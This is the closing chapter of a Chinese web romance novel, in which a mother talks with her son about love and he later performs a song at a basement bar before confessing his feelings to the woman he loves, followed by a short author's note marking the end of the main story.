蒋濯衣看着他蹙起的眉毛,欣赏了一会儿。真想拍下来,儿子为爱所困的样子总是很值得纪念的。 “你在介意什么?”她敏感地察觉到了一些。 “没有。” “你是没有先生吗?”蒋濯衣倒了一杯酒,失笑道:“说不定我能帮到你?到底是什么原因?” 翁乐仪背对着她,始终保持沉默。在蒋濯衣以为她基本不可能撬开儿子嘴巴的时候,这没什么稀奇的,就和以前发生过的无数次一样,翁乐仪开口了。 “她不爱我,起码不会和我一样”翁乐仪转过头,说不出更多的话。他不想承认这件事。 “我不想让自己变成爸那样。” 蒋濯衣少有的沉默下来。 “你爱他吗?”翁乐仪停下翻找唱片的手,转头问她。 蒋濯衣对上他的目光,干脆地道:“当然。” “可你不能和他在一起,你选择和别人在一起。” 蒋濯衣尝试将自己的想法能够尽量通过语言表达出来,可是若没有过这样的经验,要理解起来或许还是有些难度的。她不想让他觉得她在敷衍他。 毕竟他难得问她这样复杂的问题,而她刚好能够给他一些帮助。 蒋濯衣的声音不像往常一样漫不经心,而是缓慢而认真的。 “那是因为我们尝试过,可是彼此都很痛苦。我们是完全不同性格的人,尽管在刚认识的时候这是一种强大的吸引力,可之后完全不一样。他很保守,喜欢确定性和规则,而我不喜欢。我们尝试磨合过。” “可是你远比他要潇洒。”翁乐仪冷淡地下结论。 蒋濯衣承认。“是这样。” “你后面那些男友,你爱他们吗?或者这样说,你爱他们多一些,还是爱我爸多一些?”翁乐仪有些尖锐。他在意识到后,转回去,颇感心累。 他摆动着唱片机旁边的摆件,想要结束这段谈话。 “乐仪。”蒋濯衣喊住他。“你和卓小姐,同我和你爸爸是不一样的,不用这样去比较。婚姻与爱情又是不一样的。可我和你爸爸都试过。我们在相爱的时候,真的很爱对方。即便是现在,依然如此。” “你应该不知道。我有一段时间过得很糟糕,事业陷入瓶颈,不知道自己要做什么,很迷茫。我搬到纽约的一栋老房子,那里外表看着很好,有阳台,墙壁的颜色我也很喜欢。我在那里写稿,工作。看起来一切正常。” 蒋濯衣喝了一口酒,缓缓陈述道:“后来我有一次洗了冷水澡,因为热水器坏了,而我受不了身上的酒味。我晕过去了,我感觉我会像公寓里那些死掉的老人一样,我大概半个月前,刚听到一则这样的消息,邻居们受不了这股恶臭了,才发现那个人已经死了大半个月了。后来是你爸爸来了,他打不通我的电话。” “乐仪,你不会知道那个时候他抱着我,我看见他出现在我面前的时候,我的感受。只有他,这个世界,只有他会去找我。” “可你还是没办法和他生活在一起。”翁乐仪舔了下嘴唇,有些悲伤地重复这个结论。 蒋濯衣看见他眼珠里的执拗,是和他爸爸一样的。 “你觉得他后悔吗?”她注视着他,轻声问道。 “那你要去问他。” 翁乐仪虽然这样说,但是他隐隐觉得那个答案不会是后悔。 “那个姑娘不是我,或许你会比你爸爸幸运的多。” “我为什么要赌这些。”翁乐仪不觉得这有什么值得高兴的。 “因为爱啊。”蒋濯衣坦然地拍了拍他的肩。 “既然爱了,就要拼尽全力地去爱,这样才不会后悔。在这一点上,我和你爸爸都做到了。” 这之后,气温像是一辆横冲直撞的列车,一路飙升。 剧团的正式演出十分成功,这天是庆功宴,在Luna的餐厅。 “你将地下室改成酒吧了吗?”卓繁星很久没有来过了,要不是邵丽丽提起,她都快忘了。 Luna哼了一身,傲娇道:“早就改了。谁让你一点都不关心,我这里成了过气景点了。” 卓繁星心虚极了。Luna时不时会喊她聚餐,只是奈何她实在觉得这是个伤心地,包括她,也是让她触景伤情的存在。她实在害怕,因此一推再推。 “我最近太忙啦。”卓繁星只能这样解释。 “要不是丽丽介绍晚上过来,你肯定也想不起来。算啦,我们这一行就是这样,最忌讳爱上客人了。” “” 她拿了一条蓝色丝带系在卓繁星手上,神秘地告诉她:“等会儿有乐队来演出。” 卓繁星赶紧捧场道:“是吗?那我们等下吃完饭就下去,下半场也不用换地方了。” 邵丽丽接完电话回来。“是洪旺的电话吗?”卓繁星看她脸色有些奇怪。 “不是,不是。”她含糊道。 卓繁星想多半就是了。可千万别来,她怎么就忘了洪旺也是这儿的常客,他也是Luna的朋友啊。 好在一切顺利。饭桌上,因为他们队伍庞大,Luna的餐厅基本被包场了。Luna很乐意见到,因为不说其他,这一群人颜值上真是妥妥的给力。 她向来喜欢欣赏美人,如今这么一群美人,随便拍拍就很出片了。练舞蹈的到底不一样,即便脸蛋生的未必有多么出挑,可一身气质却是实打实的。那个肌肉,天鹅颈、锁骨啧啧。她已经想好了她的xhs内容了,到时候再摆几个高难度姿势,保准能给她的店再引一波流量。 完美。 大家都很开心,除了邵丽丽有些心不在焉。 饭桌上,她揪着卓繁星小声问:“那哥们儿是不是想追你?” “谁?”卓繁星吃着盘子里的沙拉,有些懵。 “你斜对面那个。他一直盯着你看。刚刚你筷子掉地上了,他赶紧拿了双新的给你。” 卓繁星囧道:“这很正常吧。” “哪里正常。他喜欢你。” 卓繁星觉得她就像个护崽的母鸡,太奇怪了吧。“所以?”她失笑道:“别乱讲,他比我小好几岁。他才大学毕业。” 药丸,邵丽丽对上徐昆的眼神。弟弟修剪的干净的鬓角,小头小脸,身材不用说,薄肌男,还很舒展,体态一百二十分。关键是年轻啊,那股初出校园的清澈感,多么难得。尤其是那双眼睛,水汪汪的,看人的时候像只乖巧的大狗狗,她自己看久了都遭不住。 “你一点想法没有?”邵丽丽又确认了一遍。 “什么想法?你好奇怪啊。吃东西啦。”卓繁星给她夹了一筷子意大利面。 “我也觉得姐弟恋不靠谱。”才怪,她在心里默默补充道。 8点多钟,大家吃的也差不多了,Luna说下面的表演开始了。他们可以移步楼下了。 她心满意足,眉开眼笑,光是今天晚上,已经卖出去好几条项链,还有戒指了。她朝卓繁星眨眨眼,走近的时候感叹了一句。“我闻到恋爱的气息了。我掐指一算,你今晚有艳遇。” 卓繁星说:“那你肯定算错了。” 旁边的姑娘们听了哈哈大笑。“哪里算错了,明明算得就很准。” “就是,就是。” “我也觉得卓老师今天要脱单了。” 关于卓繁星单身这件事,还是邵丽丽告诉她们的。那是她来看她们演出,在后台的时候,有人试探地问:“卓老师的男朋友是Y市人吗?” 邵丽丽早想让卓繁星摆脱失恋的阴霾,那最好的方式就是赶紧开启一段新的恋情嘛。所以她果断回道:“哪里来的男朋友?她单身,妥妥的单身。” “可我们上次看见他男朋友了。他来接她呢。长得还挺帅。” “帅有什么用?”邵丽丽十分恨铁不成钢。“异地啦,早就分开了,一点也不靠谱。” 姑娘们很善解人意,频频点头。“怪不得。我们上次见他,好像他们两个就在吵架了。异地恋就是这样,狗都不谈。卓老师分的好,早断早了。” 邵丽丽自认在当下做了一件非常正确的事,哪里想到弟弟来的这么快,真是令她措手不及。 楼下的酒吧相对来说昏暗不少。下去的楼梯只有边角贴着灯带,转角的地方尤其黑暗。卓繁星差点踩空,幸好被扶了一把。 “还好吗?”男生的声音有些紧张。卓繁星稍显意外地看着他。“谢谢。” “没事。我扶着你吧。”徐昆摸了摸后颈。他的手还伸着,呈现出一种托举的样子。 卓繁星笑笑说:“不用,已经到了。” 墙壁上贴了不少画框,基本都是Luna的手稿,或者她拿各种材料组合起来的装饰品。这间酒吧看起来仍旧延续了她一贯的风格。 卓繁星在坐下来时候,才突然有种熟悉感。 地下室,酒吧演出。当把这两样东西拼在一起的时候,那个藏在记忆深处的名字又会浮现出来。这让她心绪复杂,再没有一开始的平和。 “卓老师,你要喝莫吉托吗?” 卓繁星愣了一下,莫吉托,又一个熟悉的词。 邵丽丽看着耳朵红红,眼睛恨不得粘到闺蜜脸上的小奶狗,在心里叹了口气。 “是这个乐队吗?”卓繁星在混乱的音乐声里问邵丽丽。 “什么?” “Luna说今天晚上有乐队演出。”卓繁星只能放大音量,凑到她耳朵边问。 邵丽丽跟着音乐边点头,边回道:“不知道,可能是吧。”她显得很兴奋,拍着手,欢呼雀跃,时不时停下来喝一口酒。 旁边的徐昆端了酒回来,放在卓繁星旁边的小圆桌上。 “你喜欢听爵士吗?” 卓繁星怔了一下,说:“喜欢。” 他噢了一声。“我以前学过几年钢琴,可是在这上面实在没什么天赋,后来大学的时候倒是去社团学了吉他,尤克里里这种。” “噢,那很好啊。” “下次,下次,过两天我们” 这时,音乐停下,舞台上的灯光聚焦为一束,打在正中央。周遭瞬间安静下来,卓繁星想或许是那个Luna说的乐队来了。 卓繁星的手机刚好来了条信息,低头的功夫,一个人走上了舞台,站在那只麦克风后。 卓繁星被推了推。她奇怪地抬起头,看见那个数月未见的人。 他穿了一件白衬衫,微微松开的领口,露出锁骨,那里有一条金色的项链。 他的头发被抓出造型,不同于平常的松散,露出干净的额头。 前奏响起,他扶着胸前挂着的萨克斯吹起来。灯光下,低垂的睫毛又长又密。那些光仿佛全落在上面,在他的眼睛下打出一排阴影。 这是一首大家都很熟悉,肯定都听过,却叫不出名字的歌。 因此当旋律响起,大家都会会心一笑,并试图去寻找它的记忆。“我知道,我听过什么来着?名字我想不起来。” 卓繁星听见周遭的这些声音,很近,很轻的飘浮在空气中。她宛如被定在了原地,只能怔怔看着舞台中心的人。 他十分有魅力,其实歌叫什么名字根本不重要,不是么。 萨克斯的声音是优雅的,这首歌更欢快,在翁乐仪的演奏下融合的很好。仿佛看见一个雅痞的绅士,这使得他天然兼具一些少年感。 邵丽丽在瞬间就放下大半的心。 即便小奶狗很香,翁乐仪也绝对称得上极品。 在副歌结束后,他放下萨克斯,拿起话筒。 众人听见了他轻柔而干净的声音,歌词缓缓流淌而出,对于这首歌的记忆也越来越清晰。 You‘rejusoogoodoberue. Can‘akemyeyesoffyou Iloveyoubabyandifi‘squieallrigh. Ineedyoubabyowarmhelonelynighs. OhbabyrusinmewhenIsay. Ohpreybaby Ineedyoubaby! Don‘bringmedownIpray. Ineedyoubaby! NowhaI‘vefoundyousay. Andlemeloveyoubaby. Lemeloveyou. 周围的人在兴奋地欢呼,卓繁星却觉得很安静。她只能听见他的声音,也只能看见他的动作。 他的身体轻微的摆动,额头上的碎发,还有唇瓣吐出来的每一个词语。他的眼睛一直注视着她,可是偶尔也会有轻微的闪躲,不过很快,他就会又望过来。 这场演出的时间仿佛被无限拉长,又转瞬即逝。 卓繁星在全场起立欢呼的时候,起身离开。 翁乐仪不知道自己在装上假肢后还能有跑的这么快的一天。他堪称灵敏地下了舞台。 Luna贴心地接过他的萨克斯,并给了他一个可惜的眼神。“我早和你说穿上亮片西装效果会更好,你不信。你看,她没有” 翁乐仪已经跑远了。 卓繁星站在外面的街道上,听见身后追来的脚步声。 看见是徐昆,她很明显顿住,好在她很快就看见他身后的人——他跑的十分狼狈,本来就在演出的时候被光照的流汗,如今打理好的头发也乱了。 “卓卓老师,我想和你说”徐昆顺着她的视线,看见了这个刚刚还在舞台上大放异彩的男人。他在瞬间便明白了什么,视线在他们中间打了个转,选择离开。 翁乐仪终于不是那么狼狈地走过来,起码恢复了他以前的步调,除了还没来得及平稳的呼吸。卓繁星听见了,就在她的头顶上。 她抬起头,眼睛下面早已经是一片潮湿。她不知道自己的眼妆已经花了。她不怎么会画眼线,今天的眼线是邵丽丽帮她画的。还有头发,在他离开的这段时间,已经长到了肩膀下面的头发。 “灿灿。”翁乐仪又走近一小步,带着微喘的呼吸。“我爱你。” “即便你不爱我,我依然爱你。” 他的喉结轻轻滚动,眼睛里装着她。尽管他恨不得立刻将她抱在怀里,可是还是得等他说完这些话。他希望她能接受他。“所以,对不起。我想要收回我先前的话,我不想” 卓繁星一下捂住他的嘴唇。 她哭的停不下来,身子颤抖,带动那只贴在他嘴唇上的手指一起颤抖。虽然没有声音,但是能看见源源不断的眼泪从眼眶里流出来,像一汪不会干涸的泉眼。 “我爱你啊,翁乐仪,爱了好多好多年了” 卓繁星的声音断续破碎,每说一个字,几乎都要卡顿一下,却依旧清晰地传进他的耳朵里。 翁乐仪终于将她抱在怀里,吮过她湿漉漉的眼睛。 翁乐仪后来知道了他当年错过的故事。 也是在这样一个即将燥热的夏天,街道两侧的槐树是浓墨般的绿色。他们走过一间奶白色的建筑,沿着刷了红油漆的铁栏杆,走进里面的地下酒吧。 她拿着花看着他在台上的演出,预备在结束的时候向他告白。 而他在台上也是这样想的。他打算下台后,就借机说出那句话。 “卓繁星,我喜欢你。你愿意和我交往吗?” 好在这次,他没有再错过她。 【作者有话说】 正文完结。撒花撒花。后面大概就是番外了,等我酝酿一下。 《Can‘akemyeyesoffyou.》可以听着歌看hhh[橙心]《 》